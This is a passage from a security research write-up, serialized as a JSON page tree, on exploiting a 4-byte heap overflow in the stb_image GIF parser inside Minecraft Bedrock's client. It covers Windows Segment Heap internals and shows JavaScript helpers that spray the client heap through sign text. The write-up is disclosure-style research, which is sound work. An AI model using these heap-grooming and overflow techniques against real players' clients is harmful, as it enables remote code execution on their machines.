ype":24,"tag":158,"props":150451,"children":150452},{"style":188},[150453],{"type":29,"value":2058},{"type":24,"tag":158,"props":150455,"children":150456},{"style":222},[150457],{"type":29,"value":1280},{"type":24,"tag":158,"props":150459,"children":150460},{"style":465},[150461],{"type":29,"value":149777},{"type":24,"tag":158,"props":150463,"children":150464},{"style":188},[150465],{"type":29,"value":16038},{"type":24,"tag":158,"props":150467,"children":150468},{"class":160,"line":238},[150469,150473,150477,150481,150485,150489,150493,150497,150501],{"type":24,"tag":158,"props":150470,"children":150471},{"style":177},[150472],{"type":29,"value":149789},{"type":24,"tag":158,"props":150474,"children":150475},{"style":188},[150476],{"type":29,"value":2048},{"type":24,"tag":158,"props":150478,"children":150479},{"style":465},[150480],{"type":29,"value":5682},{"type":24,"tag":158,"props":150482,"children":150483},{"style":188},[150484],{"type":29,"value":2058},{"type":24,"tag":158,"props":150486,"children":150487},{"style":222},[150488],{"type":29,"value":1285},{"type":24,"tag":158,"props":150490,"children":150491},{"style":177},[150492],{"type":29,"value":38709},{"type":24,"tag":158,"props":150494,"children":150495},{"style":188},[150496],{"type":29,"value":2048},{"type":24,"tag":158,"props":150498,"children":150499},{"style":465},[150500],{"type":29,"value":4789},{"type":24,"tag":158,"props":150502,"children":150503},{"style":188},[150504],{"type":29,"value":32835},{"type":24,"tag":158,"props":150506,"children":150507},{"class":160,"line":259},[150508,150512,150516,150520,150524,150528,150532,150536,150540],{"type":24,"tag":158,"props":150509,"children":150510},{"style":177},[150511],{"type":29,"value":149789},{"type":24,"tag":158,"props":150513,"children":150514},{"style":188},[150515],{"type":29,"value":2048},{"type":24,"tag":158,"props":150517,"children":150518},{"style":465},[150519],{"type":29,"value":5672},{"type":24,"tag":158,"props":150521,"children":150522},{"style":188},[150523],{"type":29,"value":2058},{"type":24,"tag":158,"props":150525,"children":150526},{"style":222},[150527],{"type":29,"value":1285},{"type":24,"tag":158,"props":150529,"children":150530},{"style":177},[150531],{"type":29,"value":38709},{"type":24,"tag":158,"props":150533,"children":150534},{"style":188},[150535],{"type":29,"value":2048},{"type":24,"tag":158,"props":150537,"children":150538},{"style":465},[150539],{"type":29,"value":5672},{"type":24,"tag":158,"props":150541,"children":150542},{"style":188},[150543],{"type":29,"value":32835},{"type":24,"tag":158,"props":150545,"children":150546},{"class":160,"line":280},[150547,150551,150555,150559,150563,150567,150571,150575,150579],{"type":24,"tag":158,"props":150548,"children":150549},{"style":177},[150550],{"type":29,"value":149789},{"type":24,"tag":158,"props":150552,"children":150553},{"style":188},[150554],{"type":29,"value":2048},{"type":24,"tag":158,"props":150556,"children":150557},{"style":465},[150558],{"type":29,"value":4789},{"type":24,"tag":158,"props":150560,"children":150561},{"style":188},[150562],{"type":29,"value":2058},{"type":24,"tag":158,"props":150564,"children":150565},{"style":222},[150566],{"type":29,"value":1285},{"type":24,"tag":158,"props":150568,"children":150569},{"style":177},[150570],{"type":29,"value":38709},{"type":24,"tag":158,"props":150572,"children":150573},{"style":188},[150574],{"type":29,"value":2048},{"type":24,"tag":158,"props":150576,"children":150577},{"style":465},[150578],{"type":29,"value":5682},{"type":24,"tag":158,"props":150580,"children":150581},{"style":188},[150582],{"type":29,"value":32835},{"type":24,"tag":158,"props":150584,"children":150585},{"class":160,"line":301},[150586,150590,150594,150598,150602,150606,150610,150614,150618],{"type":24,"tag":158,"props":150587,"children":150588},{"style":177},[150589],{"type":29,"value":149789},{"type":24,"tag":158,"props":150591,"children":150592},{"style":188},[150593],{"type":29,"value":2048},{"type":24,"tag":158,"props":150595,"children":150596},{"style":465},[150597],{"type":29,"value":18534},{"type":24,"tag":158,"props":150599,"children":150600},{"style":188},[150601],{"type":29,"value":2058},{"type":24,"tag":158,"props":150603,"children":150604},{"style":222},[150605],{"type":29,"value":1285},{"type":24,"tag":158,"props":150607,"children":150608},{"style":177},[150609],{"type":29,"value":38709},{"type":24,"tag":158,"props":150611,"children":150612},{"style":188},[150613],{"type":29,"value":2048},{"type":24,"tag":158,"props":150615,"children":150616},{"style":465},[150617],{"type":29,"value":18534},{"type":24,"tag":158,"props":150619,"children":150620},{"style":188},[150621],{"type":29,"value":32835},{"type":24,"tag":158,"props":150623,"children":150624},{"class":160,"line":626},[150625],{"type":24,"tag":158,"props":150626,"children":150627},{"style":188},[150628],{"type":29,"value":36011},{"type":24,"tag":25,"props":150630,"children":150631},{},[150632,150633,150638,150640,150645,150647,150652],{"type":29,"value":25271},{"type":24,"tag":154,"props":150634,"children":150636},{"className":150635},[],[150637],{"type":29,"value":149989},{"type":29,"value":150639}," has to set the last byte to ",{"type":24,"tag":154,"props":150641,"children":150643},{"className":150642},[],[150644],{"type":29,"value":114621},{"type":29,"value":150646}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":154,"props":150648,"children":150650},{"className":150649},[],[150651],{"type":29,"value":114621},{"type":29,"value":347},{"type":24,"tag":25,"props":150654,"children":150655},{},[150656,150658,150663,150665,150671,150672,150678],{"type":29,"value":150657},"In the code we can see that size of the ",{"type":24,"tag":154,"props":150659,"children":150661},{"className":150660},[],[150662],{"type":29,"value":149446},{"type":29,"value":150664}," allocation is controlled through ",{"type":24,"tag":154,"props":150666,"children":150668},{"className":150667},[],[150669],{"type":29,"value":150670},"g->w",{"type":29,"value":1826},{"type":24,"tag":154,"props":150673,"children":150675},{"className":150674},[],[150676],{"type":29,"value":150677},"g->h",{"type":29,"value":150679}," values, both of which are read from the input file itself:",{"type":24,"tag":147,"props":150681,"children":150683},{"code":150682,"language":2907,"meta":7,"className":17751,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[150684],{"type":24,"tag":154,"props":150685,"children":150686},{"__ignoreMap":7},[150687,150712,150719,150726,150761,150807],{"type":24,"tag":158,"props":150688,"children":150689},{"class":160,"line":161},[150690,150694,150699,150703,150707],{"type":24,"tag":158,"props":150691,"children":150692},{"style":165},[150693],{"type":29,"value":52316},{"type":24,"tag":158,"props":150695,"children":150696},{"style":188},[150697],{"type":29,"value":150698}," stbi_uc ",{"type":24,"tag":158,"props":150700,"children":150701},{"style":222},[150702],{"type":29,"value":577},{"type":24,"tag":158,"props":150704,"children":150705},{"style":496},[150706],{"type":29,"value":148625},{"type":24,"tag":158,"props":150708,"children":150709},{"style":188},[150710],{"type":29,"value":150711},"(...)\n",{"type":24,"tag":158,"props":150713,"children":150714},{"class":160,"line":213},[150715],{"type":24,"tag":158,"props":150716,"children":150717},{"style":188},[150718],{"type":29,"value":1710},{"type":24,"tag":158,"props":150720,"children":150721},{"class":160,"line":238},[150722],{"type":24,"tag":158,"props":150723,"children":150724},{"style":188},[150725],{"type":29,"value":149187},{"type":24,"tag":158,"props":150727,"children":150728},{"class":160,"line":259},[150729,150733,150737,150741,150745,150749,150753,150757],{"type":24,"tag":158,"props":150730,"children":150731},{"style":1914},[150732],{"type":29,"value":53916},{"type":24,"tag":158,"props":150734,"children":150735},{"style":188},[150736],{"type":29,"value":2262},{"type":24,"tag":158,"props":150738,"children":150739},{"style":177},[150740],{"type":29,"value":110576},{"type":24,"tag":158,"props":150742,"children":150743},{"style":188},[150744],{"type":29,"value":14991},{"type":24,"tag":158,"props":150746,"children":150747},{"style":177},[150748],{"type":29,"value":119999},{"type":24,"tag":158,"props":150750,"children":150751},{"style":222},[150752],{"type":29,"value":3175},{"type":24,"tag":158,"props":150754,"children":150755},{"style":465},[150756],{"type":29,"value":2025},{"type":24,"tag":158,"props":150758,"children":150759},{"style":188},[150760],{"type":29,"value":16038},{"type":24,"tag":158,"props":150762,"children":150763},{"class":160,"line":280},[150764,150768,150772,150776,150781,150786,150790,150795,150799,150803],{"type":24,"tag":158,"props":150765,"children":150766},{"style":1914},[150767],{"type":29,"value":40551},{"type":24,"tag":158,"props":150769,"children":150770},{"style":188},[150771],{"type":29,"value":2262},{"type":24,"tag":158,"props":150773,"children":150774},{"style":222},[150775],{"type":29,"value":21865},{"type":24,"tag":158,"props":150777,"children":150778},{"style":496},[150779],{"type":29,"value":150780},"stbi__gif_header",{"type":24,"tag":158,"props":150782,"children":150783},{"style":188},[150784],{"type":29,"value":150785},"(s, g, comp,",{"type":24,"tag":158,"props":150787,"children":150788},{"style":465},[150789],{"type":29,"value":5682},{"type":24,"tag":158,"props":150791,"children":150792},{"style":188},[150793],{"type":29,"value":150794},")) ",{"type":24,"tag":158,"props":150796,"children":150797},{"style":1914},[150798],{"type":29,"value":49728},{"type":24,"tag":158,"props":150800,"children":150801},{"style":465},[150802],{"type":29,"value":2025},{"type":24,"tag":158,"props":150804,"children":150805},{"style":188},[150806],{"type":29,"value":473},{"type":24,"tag":158,"props":150808,"children":150809},{"class":160,"line":301},[150810,150815,150819,150823,150827,150832,150836,150840,150845,150849,150853,150857,150861,150865,150869,150873,150877,150881,150885],{"type":24,"tag":158,"props":150811,"children":150812},{"style":177},[150813],{"type":29,"value":150814}," g",{"type":24,"tag":158,"props":150816,"children":150817},{"style":188},[150818],{"type":29,"value":14991},{"type":24,"tag":158,"props":150820,"children":150821},{"style":177},[150822],{"type":29,"value":119999},{"type":24,"tag":158,"props":150824,"children":150825},{"style":222},[150826],{"type":29,"value":462},{"type":24,"tag":158,"props":150828,"children":150829},{"style":188},[150830],{"type":29,"value":150831}," (stbi_uc ",{"type":24,"tag":158,"props":150833,"children":150834},{"style":222},[150835],{"type":29,"value":577},{"type":24,"tag":158,"props":150837,"children":150838},{"style":188},[150839],{"type":29,"value":723},{"type":24,"tag":158,"props":150841,"children":150842},{"style":496},[150843],{"type":29,"value":150844},"stbi__malloc",{"type":24,"tag":158,"props":150846,"children":150847},{"style":188},[150848],{"type":29,"value":504},{"type":24,"tag":158,"props":150850,"children":150851},{"style":465},[150852],{"type":29,"value":18767},{"type":24,"tag":158,"props":150854,"children":150855},{"style":222},[150856],{"type":29,"value":615},{"type":24,"tag":158,"props":150858,"children":150859},{"style":177},[150860],{"type":29,"value":149227},{"type":24,"tag":158,"props":150862,"children":150863},{"style":188},[150864],{"type":29,"value":14991},{"type":24,"tag":158,"props":150866,"children":150867},{"style":177},[150868],{"type":29,"value":50843},{"type":24,"tag":158,"props":150870,"children":150871},{"style":222},[150872],{"type":29,"value":615},{"type":24,"tag":158,"props":150874,"children":150875},{"style":177},[150876],{"type":29,"value":149227},{"type":24,"tag":158,"props":150878,"children":150879},{"style":188},[150880],{"type":29,"value":14991},{"type":24,"tag":158,"props":150882,"children":150883},{"style":177},[150884],{"type":29,"value":85623},{"type":24,"tag":158,"props":150886,"children":150887},{"style":188},[150888],{"type":29,"value":1071},{"type":24,"tag":25,"props":150890,"children":150891},{},[150892,150894,150899,150901,150906],{"type":29,"value":150893},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":154,"props":150895,"children":150897},{"className":150896},[],[150898],{"type":29,"value":149446},{"type":29,"value":150900}," and the value of ",{"type":24,"tag":154,"props":150902,"children":150904},{"className":150903},[],[150905],{"type":29,"value":25},{"type":29,"value":150907}," just before the OOB write happens:",{"type":24,"tag":147,"props":150909,"children":150911},{"code":150910},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[150912],{"type":24,"tag":154,"props":150913,"children":150914},{"__ignoreMap":7},[150915],{"type":29,"value":150910},{"type":24,"tag":25,"props":150917,"children":150918},{},[150919,150921,150926,150928,150933],{"type":29,"value":150920},"There are multiple within-bound writes to ",{"type":24,"tag":154,"props":150922,"children":150924},{"className":150923},[],[150925],{"type":29,"value":25},{"type":29,"value":150927},", but the last write happens just after the ",{"type":24,"tag":154,"props":150929,"children":150931},{"className":150930},[],[150932],{"type":29,"value":149446},{"type":29,"value":150934}," allocation.",{"type":24,"tag":395,"props":150936,"children":150938},{"id":150937},"summarizing-the-corruption",[150939],{"type":29,"value":150940},"Summarizing the Corruption",{"type":24,"tag":17924,"props":150942,"children":150943},{},[150944,150957,150985],{"type":24,"tag":1790,"props":150945,"children":150946},{},[150947,150949,150955],{"type":29,"value":150948},"A single ",{"type":24,"tag":154,"props":150950,"children":150952},{"className":150951},[],[150953],{"type":29,"value":150954},"0x01",{"type":29,"value":150956}," byte write OOB",{"type":24,"tag":1790,"props":150958,"children":150959},{},[150960,150962],{"type":29,"value":150961},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":17924,"props":150963,"children":150964},{},[150965,150970,150980],{"type":24,"tag":1790,"props":150966,"children":150967},{},[150968],{"type":29,"value":150969},"First three bytes are controllable",{"type":24,"tag":1790,"props":150971,"children":150972},{},[150973,150975],{"type":29,"value":150974},"Last byte will be ",{"type":24,"tag":154,"props":150976,"children":150978},{"className":150977},[],[150979],{"type":29,"value":114621},{"type":24,"tag":1790,"props":150981,"children":150982},{},[150983],{"type":29,"value":150984},"Size of the allocation is controlled",{"type":24,"tag":1790,"props":150986,"children":150987},{},[150988,150990],{"type":29,"value":150989},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":17924,"props":150991,"children":150992},{},[150993,150998],{"type":24,"tag":1790,"props":150994,"children":150995},{},[150996],{"type":29,"value":150997},"Allocated just before the image-parsing process",{"type":24,"tag":1790,"props":150999,"children":151000},{},[151001],{"type":29,"value":151002},"Freed immediately upon parsing completion",{"type":24,"tag":20034,"props":151004,"children":151005},{},[],{"type":24,"tag":25,"props":151007,"children":151008},{},[151009,151011,151018,151020,151027],{"type":29,"value":151010},"Note that this bug was already found before (",{"type":24,"tag":101,"props":151012,"children":151015},{"href":151013,"rel":151014},"https://github.com/nothings/stb/issues/656",[105],[151016],{"type":29,"value":151017},"Github Issue",{"type":29,"value":151019},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":101,"props":151021,"children":151024},{"href":151022,"rel":151023},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[105],[151025],{"type":29,"value":151026},"this commit",{"type":29,"value":347},{"type":24,"tag":59,"props":151029,"children":151030},{"id":7074},[151031],{"type":29,"value":7077},{"type":24,"tag":25,"props":151033,"children":151034},{},[151035],{"type":29,"value":151036},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":151038,"children":151039},{},[151040],{"type":29,"value":151041},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":395,"props":151043,"children":151045},{"id":151044},"searching-for-better-primitives",[151046],{"type":29,"value":151047},"Searching for Better Primitives",{"type":24,"tag":25,"props":151049,"children":151050},{},[151051],{"type":29,"value":151052},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":151054,"children":151055},{},[151056,151058,151065],{"type":29,"value":151057},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":101,"props":151059,"children":151062},{"href":151060,"rel":151061},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[105],[151063],{"type":29,"value":151064},"UWP",{"type":29,"value":151066}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":395,"props":151068,"children":151070},{"id":151069},"segment-heap",[151071],{"type":29,"value":151072},"Segment Heap",{"type":24,"tag":25,"props":151074,"children":151075},{},[151076,151078,151085],{"type":29,"value":151077},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":101,"props":151079,"children":151082},{"href":151080,"rel":151081},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[105],[151083],{"type":29,"value":151084},"this talk",{"type":29,"value":151086}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":20134,"props":151088,"children":151090},{"id":151089},"low-fragmentation-heap",[151091],{"type":29,"value":151092},"Low Fragmentation Heap",{"type":24,"tag":25,"props":151094,"children":151095},{},[151096,151098,151104],{"type":29,"value":151097},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":154,"props":151099,"children":151101},{"className":151100},[],[151102],{"type":29,"value":151103},"0x3ff0",{"type":29,"value":151105}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":151107,"children":151108},{},[151109],{"type":29,"value":151110},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":147,"props":151112,"children":151114},{"code":151113}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[151115],{"type":24,"tag":154,"props":151116,"children":151117},{"__ignoreMap":7},[151118],{"type":29,"value":151113},{"type":24,"tag":25,"props":151120,"children":151121},{},[151122],{"type":29,"value":151123},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":20134,"props":151125,"children":151127},{"id":151126},"variable-size",[151128],{"type":29,"value":151129},"Variable Size",{"type":24,"tag":25,"props":151131,"children":151132},{},[151133,151135,151141,151143,151149],{"type":29,"value":151134},"This subsegment is used for allocation sizes from ",{"type":24,"tag":154,"props":151136,"children":151138},{"className":151137},[],[151139],{"type":29,"value":151140},"0x4000",{"type":29,"value":151142}," and up to ",{"type":24,"tag":154,"props":151144,"children":151146},{"className":151145},[],[151147],{"type":29,"value":151148},"0x20_000",{"type":29,"value":151150},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":147,"props":151152,"children":151154},{"code":151153}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[151155],{"type":24,"tag":154,"props":151156,"children":151157},{"__ignoreMap":7},[151158],{"type":29,"value":151153},{"type":24,"tag":25,"props":151160,"children":151161},{},[151162,151164,151170],{"type":29,"value":151163},"The header, ",{"type":24,"tag":154,"props":151165,"children":151167},{"className":151166},[],[151168],{"type":29,"value":151169},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":151171},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":20034,"props":151173,"children":151174},{},[],{"type":24,"tag":25,"props":151176,"children":151177},{},[151178],{"type":29,"value":151179},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":151181,"children":151182},{},[151183,151185,151192],{"type":29,"value":151184},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":101,"props":151186,"children":151189},{"href":151187,"rel":151188},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[105],[151190],{"type":29,"value":151191},"technique published",{"type":29,"value":151193}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":151195,"children":151196},{},[151197],{"type":29,"value":151198},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":151200,"children":151201},{},[151202],{"type":29,"value":151203},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":395,"props":151205,"children":151207},{"id":151206},"finding-a-way-to-spray-the-heap",[151208],{"type":29,"value":151209},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":151211,"children":151212},{},[151213],{"type":29,"value":151214},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":17924,"props":151216,"children":151217},{},[151218,151223,151228,151233],{"type":24,"tag":1790,"props":151219,"children":151220},{},[151221],{"type":29,"value":151222},"The size of the allocation",{"type":24,"tag":1790,"props":151224,"children":151225},{},[151226],{"type":29,"value":151227},"The data written into the allocated buffer",{"type":24,"tag":1790,"props":151229,"children":151230},{},[151231],{"type":29,"value":151232},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":1790,"props":151234,"children":151235},{},[151236],{"type":29,"value":151237},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":151239,"children":151240},{},[151241],{"type":29,"value":151242},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":20134,"props":151244,"children":151246},{"id":151245},"minecraft-signs",[151247],{"type":29,"value":151248},"Minecraft Signs",{"type":24,"tag":25,"props":151250,"children":151251},{},[151252],{"type":29,"value":151253},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":151255,"children":151256},{},[151257,151259,151265],{"type":29,"value":151258},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":154,"props":151260,"children":151262},{"className":151261},[],[151263],{"type":29,"value":151264},"std::string",{"type":29,"value":347},{"type":24,"tag":25,"props":151267,"children":151268},{},[151269,151271,151276],{"type":29,"value":151270},"In Microsoft’s C++ implementation, ",{"type":24,"tag":154,"props":151272,"children":151274},{"className":151273},[],[151275],{"type":29,"value":151264},{"type":29,"value":151277}," is structured roughly as follows:",{"type":24,"tag":147,"props":151279,"children":151281},{"code":151280,"language":2907,"meta":7,"className":17751,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[151282],{"type":24,"tag":154,"props":151283,"children":151284},{"__ignoreMap":7},[151285,151296,151303,151315,151331,151355,151362,151373,151385],{"type":24,"tag":158,"props":151286,"children":151287},{"class":160,"line":161},[151288,151292],{"type":24,"tag":158,"props":151289,"children":151290},{"style":165},[151291],{"type":29,"value":168},{"type":24,"tag":158,"props":151293,"children":151294},{"style":188},[151295],{"type":29,"value":86322},{"type":24,"tag":158,"props":151297,"children":151298},{"class":160,"line":213},[151299],{"type":24,"tag":158,"props":151300,"children":151301},{"style":188},[151302],{"type":29,"value":1710},{"type":24,"tag":158,"props":151304,"children":151305},{"class":160,"line":238},[151306,151311],{"type":24,"tag":158,"props":151307,"children":151308},{"style":165},[151309],{"type":29,"value":151310}," union",{"type":24,"tag":158,"props":151312,"children":151313},{"style":188},[151314],{"type":29,"value":210},{"type":24,"tag":158,"props":151316,"children":151317},{"class":160,"line":259},[151318,151323,151327],{"type":24,"tag":158,"props":151319,"children":151320},{"style":165},[151321],{"type":29,"value":151322}," char",{"type":24,"tag":158,"props":151324,"children":151325},{"style":222},[151326],{"type":29,"value":577},{"type":24,"tag":158,"props":151328,"children":151329},{"style":188},[151330],{"type":29,"value":17793},{"type":24,"tag":158,"props":151332,"children":151333},{"class":160,"line":280},[151334,151338,151343,151347,151351],{"type":24,"tag":158,"props":151335,"children":151336},{"style":165},[151337],{"type":29,"value":151322},{"type":24,"tag":158,"props":151339,"children":151340},{"style":177},[151341],{"type":29,"value":151342}," buf",{"type":24,"tag":158,"props":151344,"children":151345},{"style":188},[151346],{"type":29,"value":2048},{"type":24,"tag":158,"props":151348,"children":151349},{"style":465},[151350],{"type":29,"value":42112},{"type":24,"tag":158,"props":151352,"children":151353},{"style":188},[151354],{"type":29,"value":32835},{"type":24,"tag":158,"props":151356,"children":151357},{"class":160,"line":301},[151358],{"type":24,"tag":158,"props":151359,"children":151360},{"style":188},[151361],{"type":29,"value":40261},{"type":24,"tag":158,"props":151363,"children":151364},{"class":160,"line":626},[151365,151369],{"type":24,"tag":158,"props":151366,"children":151367},{"style":165},[151368],{"type":29,"value":17801},{"type":24,"tag":158,"props":151370,"children":151371},{"style":188},[151372],{"type":29,"value":125880},{"type":24,"tag":158,"props":151374,"children":151375},{"class":160,"line":668},[151376,151380],{"type":24,"tag":158,"props":151377,"children":151378},{"style":165},[151379],{"type":29,"value":17801},{"type":24,"tag":158,"props":151381,"children":151382},{"style":188},[151383],{"type":29,"value":151384}," capacity;\n",{"type":24,"tag":158,"props":151386,"children":151387},{"class":160,"line":676},[151388],{"type":24,"tag":158,"props":151389,"children":151390},{"style":188},[151391],{"type":29,"value":17814},{"type":24,"tag":25,"props":151393,"children":151394},{},[151395,151397,151403,151405,151410],{"type":29,"value":151396},"We are primarily interested in the union: ",{"type":24,"tag":154,"props":151398,"children":151400},{"className":151399},[],[151401],{"type":29,"value":151402},"buf",{"type":29,"value":151404}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":154,"props":151406,"children":151408},{"className":151407},[],[151409],{"type":29,"value":15183},{"type":29,"value":151411}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":151413,"children":151414},{},[151415],{"type":29,"value":151416},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":151418,"children":151419},{},[151420],{"type":29,"value":151421},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":20134,"props":151423,"children":151425},{"id":151424},"spraying-with-server-side-scripting",[151426],{"type":29,"value":151427},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":151429,"children":151430},{},[151431],{"type":29,"value":151432},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":151434,"children":151435},{},[151436,151438,151444,151445,151451],{"type":29,"value":151437},"We wrote ",{"type":24,"tag":154,"props":151439,"children":151441},{"className":151440},[],[151442],{"type":29,"value":151443},"alloc",{"type":29,"value":1826},{"type":24,"tag":154,"props":151446,"children":151448},{"className":151447},[],[151449],{"type":29,"value":151450},"free",{"type":29,"value":151452}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":147,"props":151454,"children":151456},{"code":151455,"language":36879,"meta":7,"className":36877,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[151457],{"type":24,"tag":154,"props":151458,"children":151459},{"__ignoreMap":7},[151460,151468,151510,151543,151588,151600,151607,151614,151675,151702,151717,151724,151731,151760,151775,151782,151789,151797,151821,151872,151883,151890,151897,151934,151961,151968,151997,152027,152034,152061],{"type":24,"tag":158,"props":151461,"children":151462},{"class":160,"line":161},[151463],{"type":24,"tag":158,"props":151464,"children":151465},{"style":2588},[151466],{"type":29,"value":151467},"// Allocate sign text in the client\n",{"type":24,"tag":158,"props":151469,"children":151470},{"class":160,"line":213},[151471,151475,151480,151484,151488,151492,151497,151501,151506],{"type":24,"tag":158,"props":151472,"children":151473},{"style":165},[151474],{"type":29,"value":32638},{"type":24,"tag":158,"props":151476,"children":151477},{"style":496},[151478],{"type":29,"value":151479}," alloc",{"type":24,"tag":158,"props":151481,"children":151482},{"style":188},[151483],{"type":29,"value":504},{"type":24,"tag":158,"props":151485,"children":151486},{"style":177},[151487],{"type":29,"value":125538},{"type":24,"tag":158,"props":151489,"children":151490},{"style":188},[151491],{"type":29,"value":191},{"type":24,"tag":158,"props":151493,"children":151494},{"style":177},[151495],{"type":29,"value":151496},"fill",{"type":24,"tag":158,"props":151498,"children":151499},{"style":222},[151500],{"type":29,"value":1285},{"type":24,"tag":158,"props":151502,"children":151503},{"style":1108},[151504],{"type":29,"value":151505},"\"A\"",{"type":24,"tag":158,"props":151507,"children":151508},{"style":188},[151509],{"type":29,"value":16038},{"type":24,"tag":158,"props":151511,"children":151512},{"class":160,"line":238},[151513,151517,151521,151525,151530,151534,151539],{"type":24,"tag":158,"props":151514,"children":151515},{"style":1914},[151516],{"type":29,"value":4702},{"type":24,"tag":158,"props":151518,"children":151519},{"style":188},[151520],{"type":29,"value":2262},{"type":24,"tag":158,"props":151522,"children":151523},{"style":165},[151524],{"type":29,"value":2662},{"type":24,"tag":158,"props":151526,"children":151527},{"style":177},[151528],{"type":29,"value":151529